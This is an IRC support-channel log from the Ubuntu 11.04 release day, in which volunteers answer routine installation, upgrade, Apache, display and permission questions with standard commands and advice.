[17:48] <mikebot> escott: (And I need windows to run my university's exam software; no emulators allowed)
[17:48] <josephnexus> Bluebill-Wolf: defragging is for stuff like ntfs and what not, not needed in ext4 and such
[17:48] <mah454> ChronicSyncope can i send screen shot for you ?
[17:48] <compdoc> mah454, you can try - not sure if my dcc ports are open or not
[17:48] <ChronicSyncope> mah454, sure
[17:48] <jrib> econdudeawesome: the proper way to stop gdm from starting is to just add "text" to your kernel line in grub
[17:48] <misha_> hey
[17:49] <Guest59163> !list
[17:49] <ubottu> This is not a file sharing channel (or network); be sure to read the channel topic. If you're looking for information about me, type « /msg ubottu !bot ». If you're looking for a channel, see « /msg ubottu !alis ».
[17:49] <escott> mikebot, i would suggest using virtualbox and running ubuntu as guest, or repartitioning
[17:49] <econdudeawesome> jrib: fair enough. My question is how to change the background coloration though. Do you know how to do that?
[17:49] <vooze> rumpel1, josephnexus says no updates..
[17:49] <m_fulder> lol
[17:49] <escott> mikebot, but you can always try wubi see what happens
[17:49] <Witchsong> I want my Super + A / Super + F shortcuts back. Anyone know how?
[17:49] <josephnexus> vooze, apt-get update first
[17:49] <narwhaller> Hey guys, Is there any way to test to see If my current graphics driver supports unity
[17:49] <mikebot> escott: What is virtual box?
[17:49] <jrib> econdudeawesome: try setterm
[17:50] <vooze> josephnexus, i did :)
[17:50] <escott> mikebot, free virtualmachine app from oracle/sn
[17:50] <ChronicSyncope> mah454, just use an image hosting site like imgur.com
[17:50] <josephnexus> mikebot: it's a way of virtualizing other operating systems
[17:50] <escott> sun
[17:50] <econdudeawesome> jrib: so, I run that in a tty shell. Do I then need to restart? Or should it do that immediately?
[17:50] <josephnexus> it works quite well
[17:50] <jrib> econdudeawesome: you shouldn't need to restart
[17:50] <m_fulder> the free command seems borken ... when I check SystemMonitor or htop Im getting 500/4000 mb RAM used but when I check free it shows 3800/4000 RAM used :S:S
[17:50] <mikebot> But would that force me to run two OSs?
[17:50] <ChronicSyncope> oh dear god why did i choose to upgrade now. the repos are so backed up...
[17:50] <ChronicSyncope> mikebot, are you trying to run one inside the other? or run the separately?
[17:51] <escott> mikebot, well it is a virtual machine so yes
[17:51] <econdudeawesome> I see that it works fine on my little laptop, which has the gui installed. The coloration that persists seems to be whatever Plymouth is using, and setterm did not change that
[17:51] <MarcusSt> the hid_cando touchscreen driver does not seem to survive suspend. dmesg tells the usb device was disconnected. the other usb devices are just fine...
[17:51] <jstoone> quit just gone
[17:51] <mikebot> OK, this is what I want: to have a dual boot machine that has windows 7 starter and ubuntu netbook remix
[17:51] <ChronicSyncope> escott, he might not know what a VM is, this is his first time installing an dualboot os
[17:51] <escott> econdudeawesome, is it fbset?
[17:51] <ScottONanski> I feel a great disturbance in the Force, as if millions of Ubuntu apt-get repositories suddenly cried out in terror, and were suddenly silenced.
[17:51] <escott> econdudeawesome, dragging out some old old memories here
[17:51] <phoenixsampras> HOW DO I UPGRAde to 11.04?
[17:51] <econdudeawesome> escott: fbset? That is the time I saw that
[17:52] <mikebot> However, the crappy ideapad s10-3 comes with so many partitions that I am unable to create another one (is 4 the max?).
[17:52] <econdudeawesome> escott: I tried setterm, but it would not work
[17:52] <ChronicSyncope> phoenixsampras, just click the upgrade button in software upgrades
[17:52] <Planet_EN> escott: do I have to disable wireless for that?
[17:52] <ChronicSyncope> mikebot, make a virtual partition (is that what it's called? i forget)
[17:52] <Witchsong> The area where the launcher would appear isn't functional for other applications using that area.
[17:52] <ChronicSyncope> you make it the same exact way
[17:52] <sfdsafdsafdsa> OMG I DONT like this new relase
[17:52] <mello> Hi, I cannot boot natty from my USB; i get a mounting problem: http://pastebin.com/JvF0fTRa
[17:52] <mah454> ChronicSyncope OK please wait ....
[17:52] <ChronicSyncope> mikebot, you make it the same exact way in a partition manager
[17:52] <sfdsafdsafdsa> is that gnome 3???
[17:52] <PingaR0x> hi, after installing ubuntu 11.04 in my notebook the wireless stop working
[17:52] <econdudeawesome> escott: you dont think it would be something to do with Plymouth, do you?
[17:52] <Witchsong> For example, I cannot use Firefox's back and forward buttons.
[17:52] <mah454> compdoc OK please wait ...
[17:53] <PingaR0x> what can i do?
[17:53] <ChronicSyncope> mah454, i gotta run, send it to compdoc or josephnexus
[17:53] <Bluebill-Wolf> brb updateing os
[17:53] <mikebot> ChronicSyncope: Am I allowed to have as many of those as I want?
[17:53] <jrib> econdudeawesome: does echoing the ansi escape sequence for "reset" or maybe "black background" work?
[17:53] <compdoc> mah454, its not receiving - paste the shot online
[17:53] <escott> Planet_EN, im uncertain what eth0 is... is eth0 a port on the side of your computer where you plug a wire, or is it a wireless connection
[17:53] <conorhogan> hello
[17:53] <ChronicSyncope> mikebot, as far as I know. you can create them with any real partition manager
[17:53] <rokyronnie> anyone with "Out of range" error after 11.04 install?
[17:53] <ChronicSyncope> mikebot, i gotta run, sorry
[17:53] <econdudeawesome> hmm
[17:53] <mikebot> ChronicSyncope: OK, thnaks
[17:53] <econdudeawesome> jrib: I'll give that a try too
[17:53] <conorhogan> can you update ubuntu 10.10 to 10.11 or do you have to download the iso and install fully?
[17:53] <Aikar> ok, I have 2 external monitors on my laptop running ubuntu, 1 port is display port and its "DP or laptop monitor" cant use both. so i dont use laptop screen. however power just went out and i lost my monitors, and switching to a TTY1 gave me a screen, i want to know if its possible to reenter a gui from TTy1 while X is running on TTY7?
[17:54] <mello> Hi, I cannot boot natty from my USB; i get a mounting problem: http://pastebin.com/JvF0fTRa
[17:54] <escott> econdudeawesome, it certainly is plymouth, but plymouth just modifies the framebuffer, you need to switch it back i think you can do stuff like that with fbset. you might check if there are gentoo docs on this
[17:54] <_Neytiri_> does anyone know how to make bash log in realtime
[17:54] <Witchsong> conorhogan: You can upgrade from 10.10 to 11.04.
[17:54] <escott> _Neytiri_, shopt -s histappend and ...
[17:54] <scialen> mello: I have the same problem
[17:54] <mah454> ChronicSyncope http://mahsom.persiangig.com/image/Screenshot-1.png
[17:54] <nascentmind> Hi. When I do a sudo do-release-upgrade I get connection timed out/unable to connect for archive.canonical.com. Should I go ahead with the upgrade?
[17:54] <mello> scialen: did you boot from USB too or is it a CD?
[17:54] <mah454> ChronicSyncope http://mahsom.persiangig.com/image/Screenshot.png
[17:54] <escott> export PROMPT_COMMAND='history -a'
[17:54] <Veloce06> mello: how did you create the USB stilck
[17:54] <mah454> compdoc http://mahsom.persiangig.com/image/Screenshot.png
[17:54] <scialen> CD, then DVD on the CD iso
[17:54] <Veloce06> stick
[17:55] <pindropper> i followed the instructions for installing and configuring LAMP, available here: https://help.ubuntu.com/community/ApacheMySQLPHP , but when i browse to http://localhost i get a 403 forbidden error
[17:55] <mah454> compdoc http://mahsom.persiangig.com/image/Screenshot-1.png
[17:55] <mello> Veloce06: unetbootin
[17:55] <scialen> I'm now downloading the DVD iso
[17:55] <escott> _Neytiri_, if that was what you meant
[17:55] <conorhogan> witchsong - how? and is that the newest ? thanks
[17:55] <mello> Veloce06: I'm going to format it again...
[17:55] <scialen> but mine was an I/O error
[17:55] <jubei1> hello, i am trying to setup a home server/gateway using linux server 10.04 and 2 NICS, from the server i use eth1 to dial PPPoE to router and can ping out to internet from server. I use eth0 to switch to give access to client PC's. from the clients i can be assigned dhcp from server and can ping the server. however i cannot ping the internet, the server is blocking requests(?). i have setup
[17:55] <jubei1> packet-forwarding=1 and have put some rules into iptables, but i think i messed up the iptables rules... could someone inspect the iptables rules, this is 1st time im doing it, and let me know what they think? - http://paste.ubuntu.com/600339/
[17:55] <_Neytiri_> not sure if it is, i want to make it so as the commands are being run it loges them
[17:55] <destinydriven> ubuntu 11.04 :D
[17:55] <Veloce06> Make sure the usb stick is fat32, mine was having problems because it was fat16.
[17:55] <mah454> compdoc I use firefox-4
[17:56] <skabja> i am upgrading to 11.04 but the downloads are really slow
[17:56] <mah454> ChronicSyncope I use firefox-4
[17:56] <Veloce06> when I reformatted to fat32 and did unetbootin again it worked fine
[17:56] <josephnexus> skabja: similar thing here... I think the servers are a bit overwhelmed
[17:56] <roasted_> I have Firefox on Ubuntu 11.04, but I do not have an import/export option in the "show all bookmarks menu." Does anybody know how else I can import my bookmarks?
[17:56] <mello> Veloce06: I will try now.. gparted is rnning
[17:56] <Wickk> Why aren't my compiz settings saving throughout a reboot?
[17:56] <escott> _Neytiri_, as distinct from history?
[17:57] <Witchsong> conorhogan: Just boot from the DVD and the setup will give you the option to either wipe your existing 10.10 install before you install or just upgrade it to 11.04.
[17:57] <Veloce06> mello: I just got mine working as we speak
[17:57] <jrib> econdudeawesome: what variation of setterm did you try exactly?
[17:57] <bombuzal> Hello. I dual-boot Ubuntu and Windows 7 and have 2 data partitions which I intended on sharing between the two, however, the newest partition isn't in the GPT table - is there a safe way to add it without breaking anything? :P
[17:57] <mello> Veloce06: my unetbootin is running :) let's see..
[17:57] <conorhogan> witchsong - thanks, i just booted in and i got a pop up to install. wasnt expecting that with linux
[17:57] <Witchsong> Does anyone else have the issue that the launcher area cannot be used by other applications? Like there is an overlay which won't let you click through?
[17:57] <_Neytiri_> escott,  what do you mean by that
[17:57] <compdoc> skabja, if you search google for 'ubuntu mirrors' you can see the d/l speeds of each site. pick a site thats fast. It took me about 6 mins to d/l 11.04 a little while ago
[17:57] <OvidiuZeicu> Hello. I have a hard disk problem, S.M.A.R.T. is going bad and I want to recover as much data as I can. I'm doing that via Live CD, but I need to take ownership of the drive. Could you please guide me into doing that?
[17:58] <PhoenixSTF> ok guys compiz on natty is messed up, cant use the cube mode and stuff
[17:58] <cdbs> Witchsong: You mean in 11.04?
[17:58] <Witchsong> Yes.
[17:58] <Aikar> i have an external monitors i use for my display, and powers out with them off (laptop), is there a command i can run from a diff TTY thatll make my GUI TTY move back to laptop screen?
[17:58] <conorhogan> is 11.04 a stable release?
[17:58] <Aikar> yes
[17:58] <escott> _Neytiri_, i don't know what you mean. you want to log all commands entered in bash? those are already stored in the users history if it is for personal use. or is for an audit/security
[17:58] <jrib> conorhogan: yes
[17:58] <John_Gate> Is there an application that easily let's you chose and install themes? I use natty narwhal.
[17:59] <conorhogan> jrib - ill upgrade then thanks
[17:59] <cdbs> PhoenixSTF: http://www.omgubuntu.co.uk/2011/04/compiz-cube-natty/
[17:59] <mah454> ChronicSyncope can you contact to ubuntu web master for fix this ?
[17:59] <pindropper> i followed the instructions for installing and configuring LAMP, available here: https://help.ubuntu.com/community/ApacheMySQLPHP , but when i browse to http://localhost i get a 403 forbidden error. Anyone have any ideas? (Before i did any configuration changes after install, as specified in the doc, it was working.)
[17:59] <flipp> 64 bit mirror -> http://hoellenecke.de/flipp/tmp/ubuntu-11.04-desktop-amd64.iso
[17:59] <gaara> ahhhh
[17:59] <cdbs> pindropper: Try sudo service apache2 restart
[17:59] <gaara> natty causing unnecessary problems for me!
[17:59] <compdoc> Im installnig 11.04 right now, but its stuck: Retrieving file 9 of 30
[17:59] <cdbs> pindropper: Just after installation there can be problems like that
[17:59] <escott> OvidiuZeicu, take ownership? you shouldn't need to just mount the partitions and copy the data
[17:59] <pindropper> cdbs: ok.
[17:59] <[Soma]> anyone here know how to deal with performance issues when it comes to flash. with windows, I can easily watch 1080p youtube videos on fullscreen. with youtube, 480 is as high as I can go without it going choppy. and flash games are virtually unplayable.
[17:59] <gaara> NO backlight at all after booting!
[17:59] <cdbs> gaara: What are the problems?
[17:59] <mah454> compdoc Can you contact to ubuntu web master for fix this ?
[17:59] <stefg> OvidiuZeicu: gksudo nautilus will give you a file-manager with superuser privileges. Where do you want to save your files to?
[17:59] <gaara> someone help
[17:59] <_Neytiri_> i want to log all commands that happin in bash as they get run, i have several users who are trying to cover there tracks by boming out the shell
[17:59] <flipp> skabja if you search 64 bit heres a mirror http://hoellenecke.de/flipp/tmp/ubuntu-11.04-desktop-amd64.iso
[17:59] <cdbs> gaara: Which GPU?
[17:59] <mtlife> is a geforce 2 mx200 hardware supported to run 11.04?
[18:00] <gaara> cdbs, the screen is dead dark
[18:00] <OvidiuZeicu> It doesn't work. It won`t let me copy many of them because I'm not the owner.
[18:00] <gaara> cdbs, well i dont have a dedicated graphics card...but its an integrated intel onboard gfx card
[18:00] <pindropper> cdbs: it gives me an error. it says "/etc/init.d/apache2: 1: ServerName: not found"
[18:00] <OvidiuZeicu> Many, but not all, and that is weird.
[18:00] <compdoc> mah454, that picture you posted doesnt really show the problem, because another window is in the way. I have no problems. what country and site are you trying to open?
[18:00] <gerrin> screen on laptop is busted, is there anyway to turn it off and set external port as primary monitor from terminal
[18:00] <stefg> mtlife: not by the nvidia driver, only by nv or noveau (the open source ones)
[18:00] <escott> OvidiuZeicu, then sudo your copy command
[18:01] <cdbs> pindropper: modify /etc/apache2/httpd.conf and write in it: ServerName 127.0.0.1
[18:01] <escott> OvidiuZeicu, and make sure to use the switch to preserve permissions
[18:01] <mah454> compdoc I live in Iran ...
[18:01] <roasted_> What is Unity's relationship to Ubuntu? Can Unity be installed on other Linux Distributions or is it exclusive to Ubuntu Only?
[18:01] <cdbs> pindropper: then run that command again
[18:01] <pindropper> cdbs: ok
[18:01] <escott> OvidiuZeicu, cp -aR
[18:01] <gaara> cdbs, so i dont know if its a gpu issue, but i know it boots successfully into natty, but screen is dead dark! backlighting does not work
[18:01] <cdbs> roasted_: There is some work ongoing to port it to Fedora, they've had quite much success
[18:01] <Witchsong> Does anyone else have the issue that the launcher area cannot be used by other applications? Like there is an overlay which won't let you click through?
[18:01] <escott> roasted_, ubuntu only
[18:01] <compdoc> mah454, maybe its your government blocking it
[18:01] <stefg> OvidiuZeicu: sudo rsync -av /media/damaged_drive/ /media/good_drive
[18:01] <OvidiuZeicu> Ok, I'll try this one. Thank you. :)
[18:01] <mtlife> stefg: and do they work good enough for basic desktop activities? reliefing/unburden the cpu?
[18:01] <ryankask> hi all. I've just tried booting 11.04 live cd and i get this: http://www2.ryankaskel.com/misc/images/screenshots/natty-startup.jpg How should I proceed?
[18:01] <cdbs> gaara: did you upgrade or fresh-install?
[18:01] <compdoc> mah454, whats the url youre opening?
[18:01] <gaara> cdbs, im guessing this is a common issue, unsolved though, because going thru the various forums did not help either
[18:01] <gaara> fresh install
[18:02] <roasted_> escott, sounds like its Ubuntu only just for now
[18:02] <gaara> cdbs, fresh install
[18:02] <scialen> guys, I'm having trouble installing from CD and DVD - I can not mount /dev/loop0 to //filesystem.squashfs due to an I/O error, can you help?
[18:02] <roasted_> cdbs, good deal man. I didn't know Fedora was tinkering with it.
[18:02] <Polah> Could anyone tell me how long the upgrade from 10.10 to 11.04 will take?
[18:02] <burg> hello. after i installed gnome-shell in ubuntu 11.04 (for gnome 3), even if i login and select ubuntu classic (with gnome 2), i can`t change the theme for taskbars and click2 menu, but only for window borders
[18:02] <econdudeawesome> escott: So I am looking at -rgba option on fbset, and I see 8/16, 8/8, 8/0, 0,0 as the information
[18:02] <cdbs> roasted_: Debian folks were also interested, but they didn't start work (yet)
[18:02] <gaara> Polah, 20 minutes
[18:02] <gerrin> is there any way to kill output to built in laptop monitor and make the secondary screen output primary in terminal
[18:02] <cdbs> gaara: Does it work well from the LiveCD?
[18:02] <gaara> no
[18:02] <compdoc> Polah, took me about 45 mins when I upgraded to the beta a week ago
[18:02] <Polah> gaara: Alright, thanks.
[18:03] <gaara> cdbs, no, i had to install it using nomodeset
[18:03] <mnoyce> Why are most Apps opening maximised when I launch them?!?
[18:03] <Polah> compdoc: Thanks again, I just wanted a general timeframe. Obviously it won't be a specific time for everyone
[18:03] <cdbs> gaara: So does nomodeset work now?
[18:03] <escott> econdudeawesome, fbset may not be the right program but there is bound to be something similar. you could also check if plymouth is a script in which case it would call out to the background setting program. check the gentoo docs they had a period when everyone was configuring framebuffer backgrounds
[18:03] <mah454> compdoc in opera is true ... ! firefox have problem !
[18:03] <philsf> I don't have a pidgin indicator in the messaging menu anymore (in natty). How can I re-enable it?
[18:03] <stefg> mtlife: i don't know. to use unity you'll need the nouveau driver (which is somewhat 3d capable). nv is fine for the classic desktop. But given that a entry level nvidia card is about 20$/Euros you should consider replacing your card if you really want unity
[18:03] <compdoc> mah454, try the refresh button
[18:04] <pindropper> cdbs: i changed servername to 127.0.0.1 from localhost, and reran the command to restart, same error!
[18:04] <roasted_> cdbs, when you say debian folks were interested, you're talking about just making unity possible on that platform, not the default, right?
[18:04] <gaara> cdbs, nomodeset works, but as you can quite understand, it loads into a lame gnome ui, without any graphics driver, with sick resolutions
[18:04] <yuskhanzab> why my downloading upgrade so slow? im just now streaming a video from 1 site, and its more faster then the upgrading ubuntu 11.04. anyone have the same?
[18:04] <raju> how can i use zeitgeist
[18:04] <cdbs> roasted_: yes, just available, not default (yet)
[18:04] <mtlife> stefg: thanks ill just try it out, otherwise i'll just keep running lxde :)
[18:04] <mah454> compdoc i use this ...
[18:04] <mah454> compdoc tnx :)
[18:04] <yuskhanzab> anyone have the same problem as me?
[18:04] <sam-_-> i can select only unity-2d not unity. what do i have to install to have unity in gdm?
[18:04] <roasted_> cdbs, do you think theyll default it? It sounds like most others were more interested in gnome shell as the default
[18:04] <mah454> compdoc I use Opera for this site ... :)
[18:04] <MrsHillBilly> Could anyone help me to get a driver for my wireless card please?
[18:04] <mknarr> pindropper,  have toy tried reinstalling apache?
[18:04] <roasted_> cdbs, from what I gathered, at least.
[18:05] <mustafa> Hi everyone, I am using Ubuntu 10.10. I have tried install Ubuntu 11.04 but I cannot run to install it. When I select "Install",  I get black screen. Do you have any idea how can I install Ubuntu 11.04?
[18:05] <cdbs> gaara: Try running sudo update-initramfs, then sudo update-grub2, then set nomodeset again, then reboot
[18:05] <rach0> MrsHillBilly,  what's your wireless card?
[18:05] <mnoyce> yuskhanzab: I guess the servers are getting overloaded a bit at the moment. Apt-get install is also slower than normal at the moment.
[18:05] <gaara> mustafa, i have the same issue, cdbs suggested something to me just now
[18:05] <pindropper> mknarr: i just installed it. it was working post install. then i configured site to a new location and all hell broke lose
[18:05] <conorhogan> is there a shortcut to change worskpaces in 10.10/11.04?
[18:06] <roasted_> conorhogan, yes
[18:06] <cdbs> roasted_: They don't have an aim like us. Their main aim is to ship all the desktops out there (Debian) or provide something which is and was very much popular as GNOME (Fedora)
[18:06] <roasted_> conorhogan, its like CTRL ALT arrow or something
[18:06] <MrsHillBilly> Its a Belkin 7D47EB
[18:06] <bashelina> smplayer should be default media player in ubuntu
[18:06] <yuskhanzab> owh, thx for the information mnoyce.
[18:06] <rach0> conorhogan, i think it was super+s
[18:06] <step21> awh ... wanted to dist-upgrade to release but apparently nothing to upgrade to yet ... mirrors take forevvvvvver
[18:06] <conorhogan> roasted_ perfect works thanks
[18:06] <mknarr> pindropper, hmmm did you modify the virtual site file to point to the new location ?
[18:06] <cdbs> !ot | roasted_
[18:06] <ubottu> roasted_: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[18:06] <conorhogan> rach0 - what?
[18:06] <yuskhanzab> its seems like 3 days to upgrade to natty =.=
[18:06] <mknarr> i think its the vitural site file
[18:06] <cdbs> roasted_: better move this discussion to #ubuntu-offtopic
[18:06] <roasted_> cdbs, my apologies.
[18:07] <rach0> conorhogan, nvm
[18:07] <mnoyce> conorhogan: Super+S or Ctrl+Alt+Arrow
[18:07] <conorhogan> what is Super-S?
[18:07] <stefg> !natty
[18:07] <ubottu> Ubuntu 11.04 (Natty Narwhal) is the current release of Ubuntu. Download http://releases.ubuntu.com/11.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1104
[18:07] <gaara> cdbs, its enough if i set nomodeset at the grub screen right? for now atleast
[18:07] <mnoyce> conorhogan: Windows Key + S
[18:07] <rach0> the 'windows' key on most pcs
[18:07] <conorhogan> ah ok, im on a mac
[18:07] <cdbs> gaara: yep, should be enough for now
[18:07] <pindropper> mknarr: yes i did. to /home/myname/public_html
[18:07] <phoenixsampras> ok , im upgrading, if something fails i want a refund!
[18:07] <mnoyce> conorhogan: Assuming your keyboard has Windows key, of course...
[18:07] <yuskhanzab> "super key" mean windows key in your keyboard
[18:08] <bios_> hi is there any way to disable the appearence of mounted harddrives on the desktop?
[18:08] <mnoyce> conorhogan: That would be a know then... ;-)
[18:08] <mknarr> pindropper, did u assign the proper premissions
[18:08] <mnoyce> conorhogan: Maybe the "Command" key?
[18:08] <gaara> cdbs, awright, thanks am gonna try it and get back to you if it doesnt work :) if it does, pleaase tell me how i can thank you :)
[18:08] <stefg> step21: get an alternate CD via torrent and use that as an upgrade source..... or even better: wait 6 weeks until the bugs are ironed out :-)
[18:08] <cdbs> gaara: Give it a try, I'm not sure about it
[18:08] <step21> stefg, I am on beta2 already, works well. just want to upgrade to release
[18:08] <mustafa> gaara, did you try something and what?
[18:08] <conorhogan> the right command key works for the windows key in windows - for ubuntu looks like ill have to use str-alt arrow - thanks
[18:08] <cdbs> gaara: but in either case, won't do any damage
[18:09] <MrsHillBilly> rach0 Its a Belkin 7D47EB
[18:09] <pindropper> mknarr: i dont think there was any permission change mentioned in the doc. so i dint have to do anything as such permission related. but i did check the permissions on the public_html file it has public access
[18:09] <cdbs> its safe to proceed
[18:09] <bios_> hi is there any way to disable the appearence of mounted harddrives on the desktop?
[18:09] <cdbs> mustafa: wait for a while, he'll test if a possible fix works
[18:09] <sam-_-> i can select only unity-2d not unity. what do i have to install to have unity in gdm?
[18:09] <mknarr> pinewhat was the error message again
[18:10] <ssav> Hi, I have an issue with ssh access. Ie. am not able to ssh as root to one of my server bcoz its denied in ssh conf. But on this server we have our client application running which is communicating the server through webservices. I want to enble root access ssh. we have option to send a payload script,which will not ask for authentication.can some one tell me how enble root ssh remotely?
[18:10] <pindropper> mknarr: it gives me an error. it says "/etc/init.d/apache2: 1: ServerName: not found"
[18:10] <stefg> step21. if you did your last update 2 days ago you should be on release level. Except unimportant timezone updates there wasn't much happening yesterday and today
[18:10] <step21> stefg, okay, then I am on release level. thanks for clearing that up
[18:10] <burg> hello. after i installed gnome-shell in ubuntu 11.04 (for gnome 3), even if i login and select ubuntu classic (with gnome 2), i can`t change the theme for taskbars and click2 menu, but only for window borders
[18:10] <pindropper> mknarr: i now did sudo pkill apache2 to force shut. how do i restart it. sudo apache2 start doesnt work
[18:10] <mknarr> pindropper, ok give me a sec to look at some of my files
[18:11] <pindropper> mknarr: cool. thanks
[18:11] <escott> ssav, ssh as root is not encouraged, you can always ssh as normal user then sudo and do whatever you want
[18:11] <conorhogan> is ubuntu one free?
[18:11] <mknarr> pindropper, to start the service again all you should have to do is   sudo /etc/init.d/apache2 start
[18:11] <stefg> !ubuntuone
[18:11] <ubottu> Ubuntu One is a service where you can back up, store, sync and share your data with other Ubuntu One users - For more see https://one.ubuntu.com/ support and help available at #ubuntuone
[18:11] <Joseph_> step21: the 11.04 installation disc seems much better than the 10. versions though so its worth downloading.
[18:11] <pindropper> mknarr: ok thanks
[18:12] <Killyou> WHOAAAA the download speed of the release upgrade is going so fast that my pc cant keep up with the enormous lightning speed
[18:12] <ssav> root access is denied and normal user login was allowed. but  password has been lost. any way to reset the password ?
[18:12] <step21> burg, this is likely due to gnome3/shell ... try removing it ^^
[18:12] <gogeta> probl couse unity is fail and we all are running other distros
[18:12] <conorhogan> stfg - thanks
[18:12] <lazlo> After my upgrade to 11.04 my panel is gone, how to fix?
[18:12] <Killyou> its like omg 24 kb/s wow!
[18:12] <step21> Joseph_, good to know, but at some other time
[18:12] <pindropper> mknarr: ack! wont start either now. same error.
[18:12] <stefg> Killyou: feel free to contribute and run your own mirror :-)
[18:12] <burg> step21, apt-get remove gnome3-shell didn`t fix the problem
[18:13] <DaveTheAve> lol fast eh? Waiting over an hour for all 208MB of eclipse to download so i can build my first android app!
[18:13] <rach0> Killyou, maybe you can try a torrent dl?
[18:13] <mknarr> pindropper, kk h/o a sec
[18:13] <step21> gogeta, then what are you doing here?
[18:13] <phoenixsampras> I feel disappointed on 11.04, how to DOWNGRADE to 10.10
[18:13] <OvidiuZeicu> Killyou: that`s you, my speed was about 2.8MB/s
[18:13] <Killyou> it says 9 hours remaining hehe
[18:13] <step21> burg, any other pkgs that the ppa installed?
[18:13] <pindropper> mknarr: sorry. waiting.
[18:13] <bios_> how to enable unitz 2d??
[18:13] <econdudeawesome> jrib: you mentioned entering "text" as an option in Grub--when do I do that? At startup or in a config file somewhere?
[18:13] <step21> burg, I heard installing from source worked better with gnome2/unity side by side
[18:13] <DaveTheAve> Yeah I gave up on downloading the CD and went torrent.
[18:13] <step21> burg, there is a guide on webupd8.org
[18:14] <stefg> phoenixsampras: restore the backup you made before upgrading
[18:14] <jrib> econdudeawesome: how did you invoke "setterm" earlier?
[18:14] <lazlo> After my upgrade to 11.04 my panel is gone, how to fix?
[18:14] <econdudeawesome> jrib: setterm -background black
[18:14] <jrib> econdudeawesome: "text" is something you would add to your grub line in grub either manually one time to test or in grub's configuration file
[18:14] <jrib> econdudeawesome: what shell do you use?
[18:14] <step21> lazlo, in unity?
[18:14] <ssav> is there any shell script to reset the passwd . If so I can send a payload and execute the script
[18:14] <lazlo> yes
[18:14] <jrib> ssav: why?
[18:14] <gogeta> phoenixsampras: well your better running something like kde these days gtk itsself  has gone downhill after gnome 2 however there is a remix of ubuntu out thats uses gnome 2 on 11.04
[18:15] <lazlo> step21: yes
[18:15] <escott> ssav, yank the drive, mount on another system, sudo/chroot/passwd
[18:15] <econdudeawesome> jrib: tty1
[18:15] <Salt> anyone else noticed a lack of nbr despite there being a link to it from the main site?
[18:15] <step21> lazlo, which panel? you know it looks different, right?
[18:15] <jrib> econdudeawesome: what shell? bash, etc
[18:15] <step21> and has less panel
[18:15] <step21> s
[18:15] <ssav> bash
[18:15] <hypetech> Salt: what's nbr
[18:15] <lazlo> step21: yes, i know, but there is no panel at all
[18:15] <Salt> hypetech, netbook remix
[18:15] <econdudeawesome> jrib: not sure. I believe bash. Whichever shell comes native to Ubuntu minimal/server. Not terminal/lxterminal/konsole or anything like that
[18:15] <Salt> http://www.ubuntu.com/download/ubuntu/alternative-download has a link to it
[18:15] <Salt> releases does not have it
[18:15] <FloodBot3> Salt: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:15] <hypetech> Salt: ah
[18:15] <step21> lazlo, bout you can log into classic?
[18:16] <Salt> that was hardly a flood :p
[18:16] <econdudeawesome> jrib: probably bash since I edited PS1 in .bashrc and was able to see the changes made
[18:16] <ssav> Hi, I have an issue with ssh access. Ie. am not able to ssh as root to one of my server bcoz its denied in ssh conf. But on this server we have our client application running which is communicating the server through webservices. I want to enble root access ssh. we have option to send a payload script,which will not ask for authentication.can some one tell me how enble root ssh remotely? or...
[18:16] <hypetech> Salt: they said there is no more netbook version with this release
[18:16] <Pici> Salt: There is no NBR anymore.
[18:16] <ssav> ...any shell script to reset the passwd?
[18:16] <sanaki_> hi All :)
[18:16] <jrib> econdudeawesome: k
[18:16] <Salt> hypetech, ah thanks
[18:16] <ubuntu> 8==D :)
[18:16] <Salt> then it should be removed from the page ;)
[18:16] <econdudeawesome> jrib: I restarted and its black now. ALl I needed :-)
[18:16] <Pici> Salt: I've reported a bug with the link being on the alternate page already.
[18:16] <lazlo> step21: should be possible, but I'm automatically logged in, so can't get to the login screen
[18:16] <Salt> Pici, sweet
[18:16] <Salt> just woke up and figured i'd mention it
[18:16] <raju> need help with gnome-activity-terminal http://pastebin.com/P5c6v1EP
[18:16] <jrib> ssav: don't you have ssh access as some other user?
[18:16] <stefg> ssav: login as your user, get root by 'sudo su -'
[18:17] <Salt> especially since we planned on demoing it at lfnw this weekend alongside server and desktop
[18:17] <ssav> no lost the passwd
[18:17] <jdahm> I'm trying to modprobe mdadm, but it doesn't seem to be included on the liveCD (to install).  Is it included or do I have to get the actual installation cd?
[18:17] <mknarr> pindropper, under etc/apache2/sites-available/ default     did u edit that file to point to the new location (im still new to this as well )
[18:17] <jdahm> or use grml to preconfigure my drives?
[18:17] <elssha> I think i screwed up big time
[18:17] <mustafa> cdbs, any upfate?
[18:17] <ssav> server is in remote loaction..i dont have physical access
[18:17] <mustafa> cdbs, any update sorry?
[18:17] <Stameni> does someone know can evolution connect to my hotmail account and grab all my mail messages from the hotmail server ?
[18:17] <step21> lazlo, does alt+F2 do anything?
[18:17] <MarcusSt> any ideas what i could do about _one_ usb device disappearing ("usb x-y: USB disconnect") after suspend? doesn't seem to matter whether the driver module is loaded while suspending or not..
[18:17] <cdbs> mustafa: he hasn't come back yet
[18:18] <cdbs> raju: same problem here
[18:18] <lazlo> step21: nope
[18:18] <elssha> i just updated to 11.04; turned on desktop cube and now have no panel and no way to access terminal
[18:18] <elssha> >_<
[18:18] <sanaki_> I am trying to configure my reliance net connect on ubuntu 10.04 , using wvdial ! I did dmesg but unable to found my usbmodem in the list , please help .
[18:18] <elssha> alt+F2 will not work
[18:18] <cdbs> raju: Oh wait, its working now, wasn't working yesterday
[18:18] <rach0> pindropper, -> http://tinyurl.com/2htmms
[18:18] <pindropper> mknarr: i cp'd the file to /etc/..../sites-available/mysite. then disabled default and enabled mysite. in mysite i changed the dirs to the point to home/myname/public_html
[18:18] <escott> stefg, sudo -i is preferred
[18:18] <hypetech> ssav: if you have access to edit the /etc/ssh/sshd_config then change the PermitRootLogin parameter to Yes
[18:18] <raju> cdbs:  who can help us with this
[18:19] <Salt> elssha, try ctrl+alt+t
[18:19] <euthymos> hi guys I really love the new Ubuntu 'dock' but I would like to have it 1) at the bottom of the screen 2) never disappearing. I want a proper dock. How can I achieve this?
[18:19] <pindropper> mknarr: i pretty much followed  https://help.ubuntu.com/community/ApacheMySQLPHP  to the letter
[18:19] <elssha> nothing salt >_<
[18:19] <Stameni> does someone know can evolution connect to my hotmail account and grab all my mail messages from the hotmail server ?
[18:19] <stefg> ssav: so you lost all your login data, but want to remote-enable root access ? .... I think there would be much interest in a way to that ...
